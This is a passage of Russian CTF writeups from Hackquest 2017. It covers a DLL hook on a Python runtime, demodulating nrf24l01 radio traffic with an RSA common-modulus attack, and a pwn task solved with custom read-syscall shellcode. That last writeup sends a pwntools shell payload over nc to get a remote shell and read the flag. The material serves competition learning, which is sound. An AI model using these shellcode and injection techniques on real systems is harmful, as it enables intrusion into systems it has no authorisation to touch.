Hackquest 2017. Results & Writeups - 15

По строкам найдем функцию, в которой можно перехватить буффер с pyc файлом исследуемой программы.
Hackquest 2017. Results & Writeups - 16

Прогнав через декомпилятор, не получаем ничего хорошего, код обфусцирован.
Попробуем подглядеть внутренние состояние в момент проверки ключа.
Напишем программу(dll), которая перехватит PyObject_RichCompare и будет выводить в консоль (stderr) переданные её параметры.
Code:

typedef void PyObject;
typedef void (CDECL * _PyObject_Dump)(PyObject *o1);
_PyObject_Dump PyObject_Dump;

PHOOK hook1;
PyObject* CDECL xPyObject_RichCompare(PyObject *o1, PyObject *o2, int opid) {
   PyObject* result = ((PyObject*(CDECL*)(PyObject*,PyObject*,int))hook1->original)(o1, o2, opid);
   PyObject_Dump(o1);
   PyObject_Dump(o2);
   return result;
}

typedef PyObject*(CDECL * PyObject_RichCompare)(PyObject *o1, PyObject *o2, int opid);
void hackFunctions() {
   PyObject_Dump = (_PyObject_Dump)GetProcAddress(GetModuleHandleA("python27.dll"), "_PyObject_Dump");
   hook1 = HookFunction(GetProcAddress(GetModuleHandleA("python27.dll"), "PyObject_RichCompare"), xPyObject_RichCompare);
}

BOOL APIENTRY DllMain(HMODULE hModule, DWORD reason, LPVOID lpReserved) {
   switch (reason) {
   case DLL_PROCESS_ATTACH:
      hackFunctions();
   }
   return TRUE;
}

Заинжектим её в процесс re_task.exe и посмотрим несколько первых и последних записей.
Hackquest 2017. Results & Writeups - 17

Сразу обращаем внимание на регулярное выражение (которое очевидно является преобразованным содержимым data.txt, поскольку размер в точности совпадает).

Ну и перед самым выводом сообщения о неудаче, видим вызов re.sub и сравнение с None.

Такое регулярное выражение уже где-то встречалось (LabyREnth 2016), но там оно было несколько проще и мой солвер оттуда не подходил для решения такой системы. Я решил посмотреть чужие решения и нашел в точности такое-же задание на PlaidCTF 2015.

Берем любой готовый солвер, немного подправляем и скармливаем нашу регулярку.

Спустя несколько часов получаем ответ.

nooyhtortroornehopetrotnnrenohtopyeohnoeyonyrherpo teptooeonoohptppeoprtphprthrhpnnyyprrpnhepoportppr enppeoernnehtynrotyynerttoyeeteepepohhoyrptnhponro tpehooeonptnophoyphnp

Hackquest 2017. Results & Writeups - 18

Архив со всеми используемыми файлами (task2.py, task2_packer.py, re_task.pyc) ZN2017.7z‎.


Day 5. NotSafeAgency

В пятый день было необычное для Hackquest’а задание от Digital Security на демодулирование радиосигнала с последующим решением тривиальной задачи на криптографию. Около 100 человек предприняли попытки подключиться к серверу и получить дамп радиоэфира.

Победители
1 место 2 место
maximilian
p41l

5th day writeup. (by DSec)

Yo dude! Our insider in NSA had set up some strange BUG in the printer. Nobody has seen him since then. His last message was: "They are communicating via strange devices on 2.4". We tried to understand, but failed horrobly. Now it is your turn to figure out what is going on.
The insider gave us access to the BUG: 35.195.97.218:31337 with password "antiNSAradiospy"

Самым простым способом решения задания является использование Universal Radio Hacker (URH). Этот способ мы и рассмотрим.

При подключении к этому сокету видим следующее:

ncat 35.195.97.218  31337

Hey you're entering into secure zone. Enter Password: 

Вводим известный нам пароль и получаем сообщение:

Hello! This is NSA_sup3r_r4d1o_h4ck1ng_spy_d3v1c3. Select frequency. Available frequencies (MHz) is: 2401, 2402, 2403, 2404, 2405, 2406, 2407, 2408, 2409, 2410

При выборе любой частоты в консоль "падает" большое количество бинарных данных, поэтому при подключении перенаправим вывод в файл. Таким образом для получения данных с частоты 2401 используем команду:

ncat 35.195.97.218 31337 > 2401_rawdump

antiNSAradiospy
2401

Открыв еще одну консоль можно увидеть как растет размер файла 2401_rawdump:

18M Nov  2 13:14 2401_rawdump
19M Nov  2 13:14 2401_rawdump
20M Nov  2 13:14 2401_rawdump
21M Nov  2 13:14 2401_rawdump
22M Nov  2 13:14 2401_rawdump
24M Nov  2 13:14 2401_rawdump
27M Nov  2 13:14 2401_rawdump
30M Nov  2 13:14 2401_rawdump

После 30 МБ размер файла уже не увеличивается, что говорит об окончании передачи.

Работа с дампом

По описанию таска, а так же по начальным подсказкам становится понятно, что полученный дамп как-то связан с SDR. Логично предположить, что это дамп радиоэфира.

Проведя поиск формата записи радиоэфира с которыми работает SDR можно обнаружить, что дамп является IQ потоком.

Однко, в текущем виде использовать файл-дамп не получится. Используя hex редактор вырезаем начало

Hackquest 2017. Results & Writeups - 19

и конец
Hackquest 2017. Results & Writeups - 20

Теперь можно загрузить файл в URH

Hackquest 2017. Results & Writeups - 21

Видно, что передача идет частями. Приблизив одну из таких частей необходимо настроить чувствительность к шуму — параметр Noize.

Увеличив Noze до 0.5500 видно, что большинство помех будут при демодуляции проигнорированны:

Hackquest 2017. Results & Writeups - 22

Следующим шагом является определнеие времени передачи одного бита. Для этого находим область с периодичным сигналом, затем выделяем сегмент длиной в один период и смотрим на значение определяемое URH. Видим что это 8 мкс. Делаем Bit Length равным 8.

Hackquest 2017. Results & Writeups - 23

Теперь переключаем вид сигнала на демодулированный (Signal View -> Demodulated ).
Подстраивем значение Center таким образом, чтобы горизонтальная прямая, разделяющая области графика, наиболее точно соответствовала нулевому уровню отсчета.

Hackquest 2017. Results & Writeups - 24

Переключаем Show Signal as на Hex и получаем примерно следующий набор байт:

3c6aaccaaccaaccce2a3434b99034b9903434b73a1031b430b73732b610938000000000000000002c93bc2 [Pause: 1571 samples]
3c055665566556667951a1a5cc81a5cc81d195cdd081b595cdcd859d94b8b89c000000000000000151df85 [Pause: 1183 samples]
f82ab32ab32ab333ca8d0d2e640d2e640e8cae6e840dacae6e6c2ceca5c5c4e0000000000000000a8efc28 [Pause: 1166 samples]
3c655665566556667951a1a5cc81a5cc81d195cdd081b595cdcd859d94b8b89c000000000000000151df85 [Pause: 1564 samples]
3c555995599559998546869732069732074657374206d6573736167652e2e000000000000000000544ebd4 [Pause: 1167 samples]
3e0aaccaaccaacccc2a3434b99034b9903a32b9ba1036b2b9b9b0b3b297170000000000000000002a275ea [Pause: 1167 samples]
3c655665566556666151a1a5cc81a5cc81d195cdd081b595cdcd859d94b8b8000000000000000001513af5 [Pause: 203907 samples]
3c355665566556666949a59da1d081dd85e4848151c9e481a0d1c990cdc88484840000000000000150453d [Pause: 1167 samples]
3c2aaccaaccaacccd2934b3b43a103bb0bc90902a393c90341a393219b9109090800000000000002a08a7a [Pause: 1166 samples]
3c2aaccaaccaacccd2934b3b43a103bb0bc90902a393c90341a393219b9109090800000000000002a08a7a [Pause: 1565 samples]
3c35566556655666710da1958dac8185b9bdd1a195c8818da185b9b995b1cc840000000000000001492655 [Pause: 1167 samples]
3c45566556655666710da1958dac8185b9bdd1a195c8818da185b9b995b1cc840000000000000001492654 [Pause: 1166 samples]
3c0aaccaaccaaccce21b432b1b59030b737ba3432b91031b430b73732b6399080000000000000002924caa [Pause: 1585 samples]
3c35566556655666790d85b881dd9481d185b1ac818589bdd5d081cd958dd5c9a5d1e4fc000000010fa411 [Pause: 1166 samples]
3e0aaccaaccaacccf21b0b7103bb2903a30b6359030b137baba1039b2b1bab934ba3c9f8000000021f4822 [Pause: 1183 samples]

В текущем виде явно прослеживается повторяющаяся начальная последовательность, также можно заметить, что длина пакетов и их состовляющие выглядят одинаковыми.

Для того, чтобы дальше разобрать полученный набор сообщений, необходимо знать их структуру. Одной из подсказок была следующая строка:

these devices are used iN wiReless keyboards and sometimes in Flying drones

Большие буквы тривиально складываются в NRF. Этот факт, а так же набор каналов о которых говорится в самом начале задания, соответствуют одному конкретному радиомодулю — nrf24l01. Следовательно, каждое из сообщений есть пакет, переданный этим радиомодулем.

Далее находим спецификацию протокола этого радиомодуля и видим, что внутри используется протокол ShockBurst. Пакет данных этого протокола выглядит так:

Hackquest 2017. Results & Writeups - 25

В спецификации описаны возможные варианты преамбулы сообщения: она может быть равна либо aa (10101010) либо 55 (01010101). Следовательно, необходимо отбросить все данные в сообщении до преамбулы. Это можно сделать, используя скрипт, а можно функционалом все того же URH, создав некоторый "фильтр".

Для создания фильтра открываем Edit -> Decoding. Перетаскиваем из списка Additional Functions строку Cut before/after, а в качестве Sequence пишем прембулу 10101010. Сохраняем его как cut_aa.

Hackquest 2017. Results & Writeups - 26

Для преамбулы 01010101 создаем такой же фильтр, где подставляем соответствующую Sequence.

Перключаемся на вкладку Analysis. Выбираем фильтр cut_aa и применяем.

Hackquest 2017. Results & Writeups - 27

URH позволяет на лету создавать структуру протокола из потока сообщений. Для этого надо выделить нужное количество столбцов (полу-байт) и нажать Add label. Используя известную структуру, выделяем преамбулу и адрес (длину адреса можно перебрать, а так же она известна из подсказки).

Hackquest 2017. Results & Writeups - 28

Далее необходимо выделить поле Packet Control Field. Интересной особенностью ShockBurst является тот факт, что поле это занимает 9 бит. Переключаем вид на биты и выделяем 9 столбцов.

Hackquest 2017. Results & Writeups - 29

Крутой особенностью URH является то, что при обратном переключении вида в байты, они будут отсчитываться с нужным смещением. То есть следующий байт за Packet Control Field будет считаться из 10го и 11го битов (в нашем случае это столбцы 58 и 59), а не из 9го и 10го!

Далее выделяем payload и CRC.

Hackquest 2017. Results & Writeups - 30

Поменяем режим просмотра с байт на ascii, чтобы поискать какие-то осмысленные строки в payload.

Hackquest 2017. Results & Writeups - 31

На картинке выше явно читается строка This is test message. Это говорит о том, что теперь у нас есть инструмент (URH + фильтр + диссектор протокола), который позволяет разобрать дамп радиоэфира с любого канала, после чего получить некоторый набор читаемых сообщений.

Всего есть 10 каналов, каждый из которых содержит свой уникальный набор сообщений. Однако, для решения задания используются только два канала, еще несколько каналов содержат подсказки, а все остальные, как и 2401, служат лишь для того, чтобы научиться декодировать данные.

2405

На канале 2405 можно обнаружить ссылку на структуру специального протокола, используемого внутри секции paylod в ShockBurst. Название протокола Transport for Moving Big PacketTMBP.

TMBP structure


Welcome to NSA - Not Safe Agency!

Our transport protocol - TMBP (Transport for Moving Big Packets) is very simple, and it allows you to send big packets via ShockBurst protocol by using NRF24l01 module.

Big packet - it is a packet that is larger than 22 bytes (max size of DATA in one packet), such packet must be fragmented into multiple pieces.  

TMBP structure:

| Dest Addr | Src Addr | Stream ID | All len | Cur Offset |   DATA   |
     2           2          2           2           2          22

Dest Addr   - 2 bytes of address of a destination host
Src Addr    - 2 bytes of address of your host
Stream ID   - 2 bytes identification number of a stream which is used to transmit one Big packet
All len     - 2 bytes total length of Big packet
Cur Offset  - 2 bytes of an offset (how much Big packet's bytes were transmitted including bytes in a current packet)

Destination addresses you can find on the Broadcast channel.
All other parameters will be generated automatically.
Also, you don't need to set up connection between you and a destination host, it will be created automatically.
The only thing you need is a destination address!

TMBP packet is incapsulated into ShockBurst protocol packet in NRF24l01.
NRF24l01 address length is 5 bytes, during connection NRF24l01 address consists of 2 bytes of destination address + 2 bytes of source address + 0x00 byte.
Addresses of Broadcast channels are hardcoded in an intial configuartion and are constant.

Some channels don't use TMBP.

Our channels configuration

2401 - Hint channel
2402 - Open broadcast channel
2403 - Open channel
2404 - Test channel
2405 - Link to transport protocol channel
2406 - Encrypted channel 1
2407 - Encrypted channel 2
2408 - Reserved channel
2409 - Broadcast channel
2410 - History channel

Используя описанную структуру TMBP, можно детально разбить секцию payload на соответствующие поля. Это значительно упростит решение в дальнейшем, поскольку далее необходимо будет разобрать данные, которые разбиты на несколько пакетов (секций payload), являющихся одним непрерывным сообщением (Stream ID в рамках TMBP).

2406

Канал 2406 содержит переписку двух человек. Их сообщения при демодуляции выглядят следующим образом:

  1. Dave to Steve
    Steve, I'm confused with all these keys for RSA. Is this is the one that I should use? https://pastebin.com/Di7LyG7Q?
  2. Steve to Dave
    Dave, you are doing it wrong! This channel is only for encrypted messages! Please generate new RSA key pair. To understand how this thing works send me an encrypted message using my public key: https://pastebin.com/eRFbC3BE
  3. Dave to Steve
    Ok Steve, catch encrypted data in next message.
  4. Dave to Steve
    4acea423fbbc878fea55a2c41a9646d5712c670cd910a525ef061cc26f02f10ff9bba6ccf9baad0e99e3064b4512413c0b34e5933d6186f65d4fcda19a7e7a54

Перейдя по ссылкам в сообщениях можно увидеть приватный ключ Дейва

-----BEGIN RSA PRIVATE KEY-----
MIIBcwIBAAJAcCumoSCT6M/MPP7KwjzMT+9IEKWDhb/g+dg0mOFwnZfuvpr2bLC4
d2o1Ej2iG4/L0aJTrN2+kQMWOkRqB3uMZwJANjiCXRz9EWpXSHK+I2u7MQ3ay5D2
Iv5QSXchZ18zeY2j3prNYrUel43XHPbJzYXzYF5zrRHnH59UkY8iXYbQPwJAI/v6
Kwi8101wt0sSWdiUifsABiBtTBoMV/8skRi0EYmICXwvcEPwmFN2JucjNJBYoO2P
HH3sQ65E53g+CPSA/wIg0OcbbzuSkFiPG1kviH74XFOmMNiqQHOQWuw1eoOxuxcC
IIl1nAeixKVa296X84/0kiCXIF/eUsucSPidRVhg8UsxAiA3jAN3PhECl32UMDK6
907+ku8WFDXBuuXucsRplYQGQwIgk6eShjY5YR8uf+Tn6PpTQJYd1ndHjVlnYRTJ
mjLjZvMCIIk7ZVY75SN3/xkoIGWM28aesFucWtKInmp0EoblvTOH
-----END RSA PRIVATE KEY-----

И открытый ключ Стива

-----BEGIN PUBLIC KEY-----
MIGaMA0GCSqGSIb3DQEBAQUAA4GIADCBhAJAcCumoSCT6M/MPP7KwjzMT+9IEKWD
hb/g+dg0mOFwnZfuvpr2bLC4d2o1Ej2iG4/L0aJTrN2+kQMWOkRqB3uMZwJAQui2
EbKYnqOAk6/dWzJPBUFeAX7Jl5rMj0QLCjAf51JdiX1A9DtKN27fH0MQ1X7zMvHm
4RojILm9moV9ut+S1w==
-----END PUBLIC KEY-----

Заголовки ключей говрят о том, что они соотствуют формату PKCS#1. Используя openssl или любую другую утилиту, можно увидеть, что модуль RSA, используемый в каждом из этих ключей, одинаковый, а значит возможна атака на основе общего модуля RSA.

Проведя атаку, находим закрытый ключ Стива и расшифровываем последнее сообщение Дейва:

flag{stup1d_ns4_h4ck1ng_dev1ce_zn2017}

Альтернативное решение

Также возможен другой способ решения таска, который подошел бы тем, кто обладает своим SDR устройством и радиомодулем NRF24l01.

Поток, получаемый с сервера, можно без проблем проигрывать на указанной частоте, используя SDR, например hackRF или bladeRF. Затем необходимо настроить NRF так, чтобы он принимал поток и выводил полученные данные.

Единственная заминка в том, что для настройки NRF на прием данных нужно знать адрес, на который отправляются данные в протоколе ShockBurst. Здесь есть два пути решения:

  • Первый — также софтверно демодулировать и декодировать сигнал, и получить только адрес без разбора дальнейших данных внутри пакета.
  • Второй — воспользоваться известным трюком, который позволяет использовать NRF24l01 в promiscuous режиме. Про данную особенность этих модулей было рассказано уже не один раз. Заключается она в следующем:
    • Во-первых, как уже говорилось выше, в протоколе ShockBurst перед адресом идет один байт преамбулы вида 0xAA или 0x55 (в зависимости от последующего адреса). Однако, преамбула никак не учитывается при дальнейшем разборе пакета радиомодулем.
    • Во-вторых, используемый адрес можно установить длиной 2 байта, несмотря на спецификацию.
    • В-третьих, шум перед началом пакета может восприниматься радиомодулем как байт 0x00. Таким образом, достаточно установить адрес 0x00AA или 0x0055 в принимающий радиомодуль и он будет работать в некоем подобии promiscuous режима, который позволит снифать часть пакетов.

Поснифав пакеты, можно узнать реальный адрес, который используется в передаче, затем просто настроить NRF на этот адрес и получать все данные. Получив все декодированные данные со всех каналов, можно переходить ко второй части таска.


Day 6. Strange command server

Задача на pwn от RuCTFe, где необходимо было написать специальный шелл-код, исполнив который на сервере, можно было прочитать флаг. Символично, что именно шесть человек смогли решить это задние.

Победители
1 место 2 место 3 место
Aleksey Cherepanov
smalukav
paulch

Также решили: okob2008, Kurlikasd, mcstarpro

6th day writeup. (by Aleksey Cherepanov)

TL;DR: 7 байт от одного числа достаточно для read(0, stack, big_N), чтобы дослать новый код и вызвать командную оболочку. Но первое рабочее решение было устроено сложней...

Задача

Day 6 / Strange command server

Some server receives commands in a very strange format. We have some command for it and its sources.
It is located on   nc spbctf.ppctf.net 5353
Get the flag!

Структура

Содержимое hq2017_task6_test.txt:

5
13644205794.0 385557128.099 -566484950.0 -385556280.099 -12510807118.0

hq2017_task6_m116 — не исходный код, а бинарный файл:

$ file hq2017_task6_m116
hq2017_task6_m116: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, stripped
$ sha256sum hq2017_task6_m116
65d94868039be955bbb7774b4dea01d7404ce3bda6250343a109900b5dd68007  hq2017_task6_m116

Краткое описание решения

Нам дано два файла: текстовый файл с числами и ELF для Linux x86-64 (спасибо утилите file). Текстовый файл очень простой. Сразу видно, что первое число — количество следующих чисел. ELF маленький, это приятно. Сразу пробуем декомпилировать его при помощи snowman — результат запутанный. Дизассемблируем код при помощи objdump — результат запутанный: есть много ненужных прыжков.

Наиболее перспективным кажется не использовать статический анализ, а попробовать понять, что происходит, методом чёрного ящика: если там есть перекодирование, то надо найти выходной буфер и посмотреть значения для разных значений ввода. Хотя сначала надо понять, что вообще происходит: как backdoor выполняет команды? Там интерпретатор?

Пробуем запустить в виртуальной машине с тестовым вводом из данного нам текстового файла — работает, выводит "cafebabe". Но в коде нет "cafebabe". Запускаем сбор трейса для тестового ввода, следя только за jmp и call инструкциями. В трейсе явно выделяется необычная инструкция: callq *-0x20(%rbp), хотя есть и другие странности.

Пробуем менять ввод. Добавляем 1 к последней цифре последнего числа — ничего не изменилось. Убираем первую цифру последнего числа — краш с SIGILL. Это интересно! Запускаем под gdb и повторяем ввод: адрес инструкции, на которой программа получает SIGILL, находится в стеке. Запускаем checksec: NX выключен. Ставим breakpoint на ту странную инструкцию, делаем 1 шаг по инструкциям и оказываемся как раз в том буфере в стеке, где программа крашится. Всё сошлось: наш ввод перекодируется в бинарный код и выполняется. Несмотря на то, что буфер в стеке, его адрес легко задать для дебаггера: это rip ($pc) после выполнения той необычной инструкции.

Для ускорения анализа нам потребуется команда, чтобы прогонять под gdb программу с заданным вводом и выводить 16 байт от начала буфера. Пробуем менять количество чисел: во-первых, мы можем не давать все числа и программа не ждёт ввода до первого срабатывания breakpoint'а, во-вторых, количество чисел лежит в стеке через 4 байта после нашего буфера. Пробуем при количестве 4 давать разные значения одного числа: если подавать маленькие числа подряд, то видно, что в буфере получается целое число в 6 раз меньше заданного; если пробовать увеличивать ввод, то это преобразование сохраняется.

Так что грубая оценка количество контролируемых байт такая: 8 байт в буфере и, возможно, ещё 8 байт через количество элементов, но потребуется прыжок; итого — где-то 16 байт кода. 16 байт — маловато для вызова командной оболочки (без модификаций шеллкода), но вполне достаточно, чтобы использовать системный вызов read, чтобы записать новый код, который уже вызовет командную оболочку.

Пробуем указать очень большое количество чисел — получаем SIGSEGV, так что оценка неточная. Нужен короткий код вызова read. Например, shellcode на 8 байт:

  • push rdx ; pop rax — копируем ноль из rdx в rax через стек,
  • pop rdx — в rdx кладём большое число из стека,
  • pop rsi — в rsi кладём адрес буфера, который тоже оказался в стеке,
  • push rbx ; pop rdi — копируем ноль из rbx в rdi через стек,
  • syscall — задействуем системный вызов.
    Это должно влезть в одно число, но выясняется, что младший байт из 8 не может быть произвольным. Так что реально мы контролируем только 7 байт в первом куске.

У нас возможность положить часть кода недалеко от буфера, указав другое количество чисел. Но нам нужен прыжок между частями. Короткий прыжок занимает 2 байта. Отделяем последние 3 байта кода (pop rdi ; syscall). Количество чисел не надо кодировать, так что нужное значение — 331615. Но количество чисел влияет на кодирование кода в самих числах. Попробуем угадать делитель — 331615 * 2: старшие байты в буфере такие, как надо, а младшие — нет. Младшие байты легко подобрать половинным делением.

Теперь нужен код, который будет выполняться дальше. Нужный shellcode есть в pwntools. Но в момент записи нового кода выполнение уже на конце буфера, а пишем мы с самого начала, так что первые байты нового ввода не будут выполнены. Можно дополнить shellcode инструкциями nop: даже если ошибиться с количеством, они приведут выполнение в нужное место.

И вот наша награда:

user@ctf:~$ printf '331615n1105016229177322000000.0n' > input
user@ctf:~$ python -c 'from pwn import *; context.arch = "x86_64"; print asm("nop") * 200 + asm(shellcraft.amd64.linux.sh())' > payload
user@ctf:~$ (cat input; sleep 1; cat payload; sleep 1; echo ls) | nc spbctf.ppctf.net 5353
flag.txt
m116
run.sh
run_image.sh
runserver.sh
^C
user@ctf:~$ (cat input; sleep 1; cat payload; sleep 1; echo cat flag.txt) | nc spbctf.ppctf.net 5353
H0P3_U_3Nj0Y3D_OU12_OBFUSKATOR

Флаг был получен с сервера и отправлен на сайт через 3 часа 51 минуту после официального начала.

Однако это решение можно упростить: инструкция 'xchg eax, edx' обнуляет rax целиком в один байт вместо двух и можно обойтись без использования количества чисел и прыжка между частями. Пример ввода: 2 2848553957111076.0. Так же это может позволить избавиться от использования чисел в стеке.

Использованные инструменты

Все использованные инструменты являются свободным программным обеспечением. Всё, кроме snowman, pwntools и ROPgadget, доступно в Debian из стандартного репозитория и ставится "в два клика".

  • виртуальная машина с Debian — чтобы не запускать код у себя,
  • file — для определения типа файла,
  • strings — для просмотра строк в бинарных файлах (не помогло),
  • snowman — для декомпиляции кода (не помогло),
  • objdump — для дизассемблирования кода,
  • readelf — для определения точки входа программы,
  • strace и ltrace — для простого исследования поведения программы (не помогло),
  • gdb — для исследования поведения программы вручную, записи трейса и отладки решения,
  • python — для разных вещей, включая использование pwntools,
  • pwntools:
    • asm() — для ассемблирования shellcode'а,
    • disasm() — для исследования своего shellcode'а,
    • shellcraft.amd64.linux.sh() — для получения стандартного shellcode'а для вызова командной оболочки,
  • Perl, cat, sed, grep и другие стандартные утилиты, а так же встроенные команды оболочки bash — для организации всего и мелкой автоматизации,
  • ROPgadget — для поиска дополнительного кода в дампе стека (не помогло),
  • man 2 read — для просмотра документации по системному вызову read,
  • emacs — для ведения записок и управления терминалами через shell-mode.

Полезные идеи

  • CTF'ы — потрясающая среда для самообучения с игрофикацией и соревновательным элементом. Про это есть даже отдельные доклады. Сейчас онлайн CTF'ы проходят почти каждую неделю.
  • ZeroNights HackQuest — конкурс с уникальным форматом: даётся 1 сложная интересная задача в день и каждый день можно стать победителем. В процессе решения реально многому научиться. Задачи в HackQuest'е выталкивают решающего на совершенно новый уровень. Это особенное чувство!
  • Выключенный NX — это хорошо для атакующего.
  • В части задач проще определить связь между входом и выходом кода по значениям, нежели по коду. В части случаев можно подобрать вход для желаемого выхода, не понимая связь. Однако это требует понимания, где выход (а иногда и понимая, где вход).
  • Обычный shellcode относительно большой, потому что не зависит от окружения. Используя имеющиеся значения регистров и чисел в стеке, его можно сильно сократить.
  • Если мы управляем 6-8 байтами кода и нам чуть-чуть повезло с окружением (регистры и/или стек), то мы уже можем сделать системный вызов read. Если ввод не закрыт, это даёт много возможностей.
  • Имея произвольный read и возможность записи кода, можно дослать shellcode для вызова командной оболочки.
  • Новый shellcode можно записать поверх старого кода и продолжить выполнение в новом коде без каких-либо дополнительных инструкций.
  • Имея произвольный read и не имея возможности записи нового кода, можно попробовать записать ROP-chain в стек (например, для задачи tiny backdoor v2 в HackOver CTF 2016).
  • Простая автоматизация gdb: printf '...' > input && printf 'run < input n ...' | gdb ...
  • Простой трейсер с gdb (не всегда применим, потому что цикл может завершиться досрочно): printf '... n while 1 n x/1i $pc n si n end n' | gdb ...
  • shellcode можно разбить на части, соединённые прыжками. Короткий прыжок вперёд (пропуская до 127 байт) занимает 2 байта. Прыжок можно ассемблировать при помощи pwntools, используя метку и nop'ы на месте "мусора", который пропускается. Прыжок через 1 байт: asm('jmp L ; nop ; L: nop'), nop'ы потом надо обрезать.
  • Примерный список однобайтовых инструкций можно получить перебором с pwntools: for i in range(256): print disasm(chr(i))
  • xchg eax, edx на x86-64 занимает 1 байт. Помимо очевидного действия эта инструкция обнуляет старшую половину rax (и rdx). Так что при rdx равном 0 это обнуляет rax.

Подробное решение с полными командами

В примерах ниже вывод сокращён до нужного. Символы табуляции могут быть заменены на пробелы. Так же могут быть пропущены пустые строки. hq2017_task6_m116 переименовано в m1. По сравнению с реальным решением, команды немного улучшены, чтобы быть более переносимыми, но не все переносимы. К сожалению, длинные one-liner'ы выглядят не лучшим образом в браузере (можно выключить стили или посмотреть текстовую версию).

Ищем точку входа:

user@ctf:~$ readelf -a m1
...
  Entry point address:               0x400710
...

Собираем трейс:

user@ctf:~$ printf 'break *0x400710 n set pagination off n run < hq2017_task6_test.txt n while 1 n x/1i $pc n si n end' | gdb ./m1 | grep -e call -e jmp
...
=> 0x4009ae:    callq  *-0x20(%rbp)
...
=> 0x400ac8:    callq  0x4006a0 <printf@plt>
...

Смотрим аргумент printf'а:

user@ctf:~$ gdb ./m1
...
(gdb) break printf
Breakpoint 1 at 0x4006a0
(gdb) run < hq2017_task6_test.txt
...
Breakpoint 1, __printf (format=0x6021b7 "%xn") at printf.c:28
(gdb) info regi
...
rsi            0xcafebabe   3405691582
rdi            0x6021b7 6300087
...
(gdb) finish
Run till exit from #0  __printf (format=0x6021b7 "%xn") at printf.c:28
cafebabe
0x0000000000400acd in ?? ()
...

Изучаем SIGILL, удалив первую цифру последнего числа:

user@ctf:~$ printf '5n13644205794.0 385557128.099 -566484950.0 -385556280.099 -2510807118.0n' > input && printf 'set pagination off n run < input n info regis n x/10i $pc n' | gdb ./m1

...
Program received signal SIGILL, Illegal instruction.
...
rip            0x7fffffffe58a   0x7fffffffe58a
...
(gdb) => 0x7fffffffe58a:    (bad)  
   0x7fffffffe58b:  rex.WX retq 
   0x7fffffffe58d:  retq   

Пробуем подойти к этому через ту странную инструкцию

0x4009ae: callq *-0x20(%rbp)

user@ctf:~$ printf '5n13644205794.0 385557128.099 -566484950.0 -385556280.099 -2510807118.0n' > input && printf 'set pagination off n break *0x4009ae n run < input n si n info regis n x/10i $pc n' | gdb ./m1

...
Breakpoint 1, 0x00000000004009ae in ?? ()
...
rip            0x7fffffffe588   0x7fffffffe588
...
(gdb) => 0x7fffffffe588:    mov    $0x4e,%cl
   0x7fffffffe58a:  (bad)  
   0x7fffffffe58b:  rex.WX retq 
   0x7fffffffe58d:  retq   

Так что 0x7fffffffe588 выше — адрес нашего буфера в стеке (может различаться на разных системах). Посмотрим, где он находится, полагаясь на то, что gdb обеспечивает стабильные адреса. Он находится в стеке, так что сделаем дамп стека.

user@ctf:~$ gdb ./m1
...
(gdb) run
Starting program: /home/user/m1 
^C
...
(gdb) info proc
process 26241
...
(gdb) ! cat /proc/26241/maps
...
7ffffffde000-7ffffffff000 rwxp 00000000 00:00 0 [stack]
...
(gdb) p 0x7fffffffe588 > 0x7ffffffde000 && 0x7fffffffe588 < 0x7ffffffff000
$1 = 1
(gdb) dump binary memory bin01 0x7ffffffde000 0x7fffffffefff
...

Вызов ROPgadget для дампа (хотя это не нужно для решения):

user@ctf:~$ ~/.local/bin/ROPgadget --binary bin01 --rawMode=64 --rawArch=x86
...

Смотрим checksec: NX выключен.

user@ctf:~$ ./checksec.sh/checksec --format json --file m1
...,"nx":"no",...

Автоматизируем показ выходного буфера с кодом и пробуем менять указанное количество чисел (0x4142 == 16706):

user@ctf:~$ printf '5n0.0n' > input && printf 'set pagination off n break *0x4009ae n run < input n si n x/16xb $pc n' | gdb ./m1 | sed -e 's/(gdb) //; s/t/  /g' | grep '^0x[a-f0-9]+:'
0x7fffffffe588:  0x00  0xc3  0xc3  0xc3  0x00  0x00  0x00  0x00
0x7fffffffe590:  0xd1  0xe0  0xff  0xff  0x05  0x00  0x00  0x00
user@ctf:~$ printf '4n0.0n' ...
0x7fffffffe588:  0x00  0xc3  0xc3  0xc3  0x00  0x00  0x00  0x00
0x7fffffffe590:  0xd1  0xe0  0xff  0xff  0x04  0x00  0x00  0x00
user@ctf:~$ printf '16706n0.0n' ...
0x7fffffffe588:  0x00  0xc3  0xc3  0xc3  0x00  0x00  0x00  0x00
0x7fffffffe590:  0xd5  0xe0  0xff  0xff  0x42  0x41  0x00  0x00

Пробуем одно число с количеством чисел 4. Легко заметить, что значение в буфере растёт на 1 при увеличении ввода на 6.

user@ctf:~$ seq 1000 | while read -r a; do printf '4n%s.0n' "$a" > input && printf 'set pagination off n break *0x4009ae n run < input n si n x/8xb $pc n' | gdb ./m1 | sed -e 's/(gdb) //; s/t/  /g' | grep '^0x[a-f0-9]+:' ; done

0x7fffffffe588:  0x00  0xc3  0xc3  0xc3  0x00  0x00  0x00  0x00
0x7fffffffe588:  0x00  0xc3  0xc3  0xc3  0x00  0x00  0x00  0x00
0x7fffffffe588:  0x01  0xc3  0xc3  0xc3  0x00  0x00  0x00  0x00
0x7fffffffe588:  0x01  0xc3  0xc3  0xc3  0x00  0x00  0x00  0x00
0x7fffffffe588:  0x01  0xc3  0xc3  0xc3  0x00  0x00  0x00  0x00
0x7fffffffe588:  0x01  0xc3  0xc3  0xc3  0x00  0x00  0x00  0x00
0x7fffffffe588:  0x01  0xc3  0xc3  0xc3  0x00  0x00  0x00  0x00
0x7fffffffe588:  0x01  0xc3  0xc3  0xc3  0x00  0x00  0x00  0x00
0x7fffffffe588:  0x02  0xc3  0xc3  0xc3  0x00  0x00  0x00  0x00
...

Пробуем ещё числа вручную. Даже с 7 байтами у нас появляется небольшое расхождение с ожидаемым значением. (Вывод перемешан с умножением в оболочке Python)

user@ctf:~$ while read -r a; do printf '4n%s.0n' "$a" > input && printf 'set pagination off n break *0x4009ae n run < input n si n x/8xb $pc n' | gdb ./m1 | sed -e 's/(gdb) //; s/t/  /g' | grep '^0x[a-f0-9]+:' ; done

>>> 0x41 * 6
390
0x7fffffffe588:  0x41  0xc3  0xc3  0xc3  0x00  0x00  0x00  0x00
>>> 0x4142 * 6
100236
0x7fffffffe588:  0x42  0x41  0xc3  0xc3  0xc3  0x00  0x00  0x00
>>> 0x414243 * 6
25660818
0x7fffffffe588:  0x43  0x42  0x41  0xc3  0xc3  0xc3  0x00  0x00
>>> 0x41424344 * 6
6569169816
0x7fffffffe588:  0x44  0x43  0x42  0x41  0xc3  0xc3  0xc3  0x00
>>> 0x4142434445 * 6
1681707473310
